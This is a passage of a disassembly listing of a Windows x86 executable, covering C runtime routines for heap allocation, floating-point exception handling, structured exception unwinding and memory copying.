		jnz	short loc_417BA2

loc_417BC4:				; CODE XREF: sub_417B9B+5j
		xor	eax, eax

locret_417BC6:				; CODE XREF: sub_417B9B+13j
					; sub_417B9B+19j
		retn
sub_417B9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BC7	proc near		; CODE XREF: sub_417B9B+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_48B688
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_417BEB
		cmp	esi, dword_48B680
		ja	short loc_417C1D
		push	esi
		call	sub_41B0DD
		test	eax, eax
		pop	ecx
		jz	short loc_417C1D
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_417BEB:				; CODE XREF: sub_417BC7+Dj
		cmp	eax, 2
		jnz	short loc_417C1D
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_417C00
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_417C03
; ---------------------------------------------------------------------------

loc_417C00:				; CODE XREF: sub_417BC7+2Fj
		push	10h
		pop	esi

loc_417C03:				; CODE XREF: sub_417BC7+37j
		cmp	esi, dword_43B7E4
		ja	short loc_417C2A
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		test	eax, eax
		pop	ecx
		jnz	short loc_417C39
		jmp	short loc_417C2A
; ---------------------------------------------------------------------------

loc_417C1D:				; CODE XREF: sub_417BC7+15j
					; sub_417BC7+20j ...
		test	esi, esi
		jnz	short loc_417C24
		push	1
		pop	esi

loc_417C24:				; CODE XREF: sub_417BC7+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_417C2A:				; CODE XREF: sub_417BC7+42j
					; sub_417BC7+54j
		push	esi
		push	0
		push	dword_48B684
		call	near ptr 2710000h
		nop

loc_417C39:				; CODE XREF: sub_417BC7+52j
		pop	esi
		retn
sub_417BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C3B	proc near		; CODE XREF: sub_402DD7+10Ep
					; sub_402DD7+116p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_417CA1
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	short loc_417C67
		push	esi
		call	sub_41AD89
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417C93
		push	eax
		call	sub_41ADB4
		pop	ecx
		pop	ecx
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------

loc_417C67:				; CODE XREF: sub_417C3B+14j
		cmp	eax, 2
		jnz	short loc_417C92
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417C92
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 0Ch
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------

loc_417C92:				; CODE XREF: sub_417C3B+2Fj
					; sub_417C3B+44j
		push	esi

loc_417C93:				; CODE XREF: sub_417C3B+20j
		push	0
		push	dword_48B684
		call	near ptr 2700000h
		nop

loc_417CA1:				; CODE XREF: sub_417C3B+Aj
					; sub_417C3B+2Aj ...
		pop	esi
		leave
		retn
sub_417C3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417CA4(double)

sub_417CA4	proc near		; CODE XREF: sub_403FE6+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_439560
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417D2A
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417D0D
		cmp	eax, 2
		jle	short loc_417CFF
		cmp	eax, 3
		jnz	short loc_417D0D
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417CFF:				; CODE XREF: sub_417CA4+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417D0D:				; CODE XREF: sub_417CA4+3Aj
					; sub_417CA4+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_417D67
; ---------------------------------------------------------------------------

loc_417D2A:				; CODE XREF: sub_417CA4+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417D4D

loc_417D3F:				; CODE XREF: sub_417CA4+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417D4D:				; CODE XREF: sub_417CA4+99j
		test	bl, 20h
		jnz	short loc_417D3F
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_417D67:				; CODE XREF: sub_417CA4+84j
		call	sub_41BFA8
		add	esp, 1Ch

loc_417D6F:				; CODE XREF: sub_417CA4+59j
					; sub_417CA4+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D73	proc near		; CODE XREF: sub_419AB8+9p
					; DATA XREF: ___:off_43956Co
		call	sub_417D8B
		call	sub_41C846
		mov	dword_489FF4, eax
		call	sub_41C7F6
		fnclex
		retn
sub_417D73	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_417D8B	proc near		; CODE XREF: sub_417D73p
		mov	eax, offset sub_41CC34
		mov	off_43B904, offset sub_41C8C9
		mov	off_43B900, eax
		mov	off_43B908, offset sub_41C92F
		mov	off_43B90C, offset sub_41C86F
		mov	off_43B910, offset sub_41C917
		mov	off_43B914, eax
		retn
sub_417D8B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DC4	proc near		; CODE XREF: sub_403FE6+1Bp
					; sub_403FE6+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_417DC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417DEB(double)

sub_417DEB	proc near		; CODE XREF: sub_404032+82p
					; ___:00404CF0p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_439578
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417E71
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417E54
		cmp	eax, 2
		jle	short loc_417E46
		cmp	eax, 3
		jnz	short loc_417E54
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E46:				; CODE XREF: sub_417DEB+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E54:				; CODE XREF: sub_417DEB+3Aj
					; sub_417DEB+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_417EAE
; ---------------------------------------------------------------------------

loc_417E71:				; CODE XREF: sub_417DEB+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417E94

loc_417E86:				; CODE XREF: sub_417DEB+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E94:				; CODE XREF: sub_417DEB+99j
		test	bl, 20h
		jnz	short loc_417E86
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_417EAE:				; CODE XREF: sub_417DEB+84j
		call	sub_41BFA8
		add	esp, 1Ch

loc_417EB6:				; CODE XREF: sub_417DEB+59j
					; sub_417DEB+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417DEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EBA	proc near		; CODE XREF: ___:0041D116p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_417EBA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_417EEE	proc near		; CODE XREF: sub_41D256+199p
					; sub_41D41A+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EEE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417EF5	proc near		; CODE XREF: sub_41D256+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_417EFC	proc near		; CODE XREF: sub_4180AE+5Cp
					; sub_41D0A5:loc_41D0D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_417F24
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_422A4C
sub_417EFC	endp

; ---------------------------------------------------------------------------

loc_417F24:				; DATA XREF: sub_417EFC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_417F4B:				; CODE XREF: ___:004230ECj
					; ___:00423109j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41CCAA
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F81	proc near		; CODE XREF: sub_41D120+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_417FD5
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41D4B0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_417F81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FD5	proc near		; DATA XREF: sub_417F81+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		pop	ebp
		retn
sub_417FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FFA	proc near		; CODE XREF: sub_41CEEC+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4180AE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_418080
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_48A098
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_418080:				; DATA XREF: sub_417FFA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41809D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4180A6
; ---------------------------------------------------------------------------

loc_41809D:				; CODE XREF: sub_417FFA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_4180A6:				; CODE XREF: sub_417FFA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180AE	proc near		; DATA XREF: sub_417FFA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4180D1
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41811E
; ---------------------------------------------------------------------------

loc_4180D1:				; CODE XREF: sub_4180AE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41810F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_417EFC
; ---------------------------------------------------------------------------

loc_41810F:				; CODE XREF: sub_4180AE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41811E:				; CODE XREF: sub_4180AE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4180AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418123	proc near		; CODE XREF: sub_41CD45+C6p
					; sub_41CEEC+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41817A

loc_418141:				; CODE XREF: sub_418123+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41814B
		call	sub_41D552

loc_41814B:				; CODE XREF: sub_418123+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_418160
		cmp	ecx, [eax+8]
		jle	short loc_418165

loc_418160:				; CODE XREF: sub_418123+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_418171

loc_418165:				; CODE XREF: sub_418123+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_418171:				; CODE XREF: sub_418123+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_418141
		mov	eax, [ebp+var_4]

loc_41817A:				; CODE XREF: sub_418123+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41818E
		cmp	esi, eax
		jbe	short loc_418193

loc_41818E:				; CODE XREF: sub_418123+65j
		call	sub_41D552

loc_418193:				; CODE XREF: sub_418123+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_418123	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4181A0	proc near		; CODE XREF: sub_41F774+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_4181B8
		push	[ebp+arg_0]
		call	sub_422A4C
sub_4181A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181B8	proc near		; DATA XREF: sub_4181A0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4181B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4181C0	proc near		; DATA XREF: sub_4181E2+Ao
					; sub_41824A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4181E1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4181E1:				; CODE XREF: sub_4181C0+10j
		retn
sub_4181C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181E2	proc near		; CODE XREF: sub_41D1C6+Dp
					; sub_41F774+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4181C0
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_4181FF:				; CODE XREF: sub_4181E2:loc_41823Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41823C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41823C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41823A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_418276
		call	dword ptr [ebx+esi*4+8]

loc_41823A:				; CODE XREF: sub_4181E2+44j
		jmp	short loc_4181FF
; ---------------------------------------------------------------------------

loc_41823C:				; CODE XREF: sub_4181E2+2Aj
					; sub_4181E2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4181E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41824A	proc near		; CODE XREF: sub_41D1E6+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4181C0
		jnz	short locret_41826C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41826C
		mov	eax, 1

locret_41826C:				; CODE XREF: sub_41824A+10j
					; sub_41824A+1Bj
		retn
sub_41824A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41826D	proc near		; CODE XREF: sub_41D4B0+1Ep
					; sub_41D4B0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43957C
		jmp	short loc_418280
sub_41826D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418276	proc near		; CODE XREF: sub_4181E2+4Fp
					; sub_41F774+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43957C
		mov	ecx, [ebp+8]

loc_418280:				; CODE XREF: sub_41826D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_418276	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_404032+5p
					; sub_4041D4+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_418290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4182AF	proc near		; CODE XREF: sub_404667+26p
					; ___:004227E2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417C3B
		pop	ecx
		retn
sub_4182AF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182C0	proc near		; CODE XREF: sub_4046D8+3Ap
					; sub_41ADB4+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4182E0
		cmp	edi, eax
		jb	loc_418458

loc_4182E0:				; CODE XREF: sub_4182C0+16j
		test	edi, 3
		jnz	short loc_4182FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------

loc_4182FC:				; CODE XREF: sub_4182C0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418314
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41831C+4[eax*4]
; ---------------------------------------------------------------------------

loc_418314:				; CODE XREF: sub_4182C0+46j
		jmp	dword ptr loc_418418[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41831C:				; CODE XREF: sub_4182C0+31j
					; sub_4182C0+8Ej ...
		jmp	off_41839C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41832C+4
		dd offset loc_41835C
; ---------------------------------------------------------------------------

loc_41832C:				; DATA XREF: sub_4182C0+64o
		add	byte ptr [ebx-2EDCFFBFh], 8Ah
		push	es
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41835C:				; DATA XREF: sub_4182C0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41839C	dd offset loc_4183FF	; DATA XREF: sub_4182C0:loc_41831Cr
		dd offset loc_4183EC
		dd offset loc_4183E4
		dd offset loc_4183DC
		dd offset loc_4183D4
		dd offset loc_4183CC
		dd offset loc_4183C4
		dd offset loc_4183BC
; ---------------------------------------------------------------------------

loc_4183BC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_4183C4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_4183CC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4183D4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4183DC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E8o
		mov	eax, [esi+ecx*4-0Ch]
